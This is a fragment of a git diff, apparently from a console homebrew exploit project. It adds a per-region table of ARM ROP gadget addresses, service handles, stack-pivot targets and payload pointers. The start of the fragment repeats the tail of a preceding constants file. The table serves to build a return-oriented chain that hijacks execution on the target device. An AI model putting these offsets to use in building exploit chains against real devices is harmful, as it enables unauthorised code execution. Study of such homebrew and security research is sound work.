FILE_PTR+0x190000+0x4 + +DWORD_3F0E1C = 0x425580 +BUTTON_TABLE = DWORD_3F0E1C + 0x19FC + 0x50 + +ROP_PTR = FILE_PTR+0x160000 +CODE_PTR = FILE_PTR+0x170000 +STACK_DEST = 0x0FFFFEF4 + +ANNOYING_THREAD_KILL = 0x4FA3B8 diff --git a/ropdb/USA.py b/ropdb/USA.py new file mode 100644 index 0000000..89885eb --- /dev/null +++ b/ropdb/USA.py @@ -0,0 +1,62 @@ +ADD_R0R0R1_POP_R4PC = 0x18bc18 +ADD_R0R0R4_POP_R4R5R6PC = 0x12c0b4 + +CMP_R0_0_MOVNE_R0_1_POP_R4PC = 0x10fd20 + +DSP_REGISTERINTERRUPTEVENTS = 0x2FB55C +DSP_UNLOADCOMPONENT = 0x278c14 +DSP_HANDLE = 0x3F67B4 + +GSPGPU_FLUSHDATACACHE = 0x120EA4 +GSPGPU_FLUSHDATACACHE_WRAPPER = 0x118924 +GSPGPU_GXTRYENQUEUE = 0x278a2c +GSPGPU_GXTRYENQUEUE_WRAPPER = 0x120910 +GSPGPU_SETTEXTURECOPY = 0x120b80 +GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3EDC40 +GSPGPU_HANDLE = 0x3F67F0 + +LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 = 0x1f6128 +LDRD_ROR1R4_8_BLX_R2 = 0x11e650 +LDR_R0R0_POP_R4PC = 0x20d758 +LDR_R0R4_POP_R4PC = 0x13888c + +MEMCMP = 0x259920 +MEMCPY = 0x28b94c +MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1 = 0x215fe0 +MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x16e7f8 + +NOP = 0x104f74 + +POP_R0PC = 0x10fbcc +POP_R1PC = 0x28be20 +POP_R2R3R4R5R6PC = 0x277c08 +POP_R3PC = 0x117c24 +POP_R4LR_BX_R1 = 0x1136fc +POP_R4PC = 0x1042b8 +POP_R4R5PC = 0x108284 +POP_R4R5R6PC = 0x104264 +POP_R4R5R6R7R8R9R10R11R12PC = 0x10b724 + +STREQ_R0R4_4_POP_R4R5R6PC = 0x3755e4 +STR_R0R4_POP_R4PC = 0x13010c +SUB_SPSP_BC_LDR_R3R0_MUL_R1R7R1_LDR_R3R3_8_BLX_R3 = 0x39309c + +SVC_EXITTHREAD = 0x11e67c +SVC_SLEEPTHREAD = 0x273d64 + +#OFFSET/PTR +SECTION1_OFFSET = 0xE8 +SECTION2_OFFSET = 0x2E348 +SECTION1_PTR = 0x08A67E84 +FILE_PTR = SECTION1_PTR - SECTION1_OFFSET +SECTION2_PTR = FILE_PTR + SECTION2_OFFSET +OTHERAPP_PTR = FILE_PTR+0x190000+0x4 + +DWORD_3F0E1C = 0x425580 +BUTTON_TABLE = DWORD_3F0E1C + 0x19FC + 0x50 + +ROP_PTR = FILE_PTR+0x160000 +CODE_PTR = FILE_PTR+0x170000 +STACK_DEST = 0x0FFFFEF4 + +ANNOYING_THREAD_KILL = 0x4F9DB8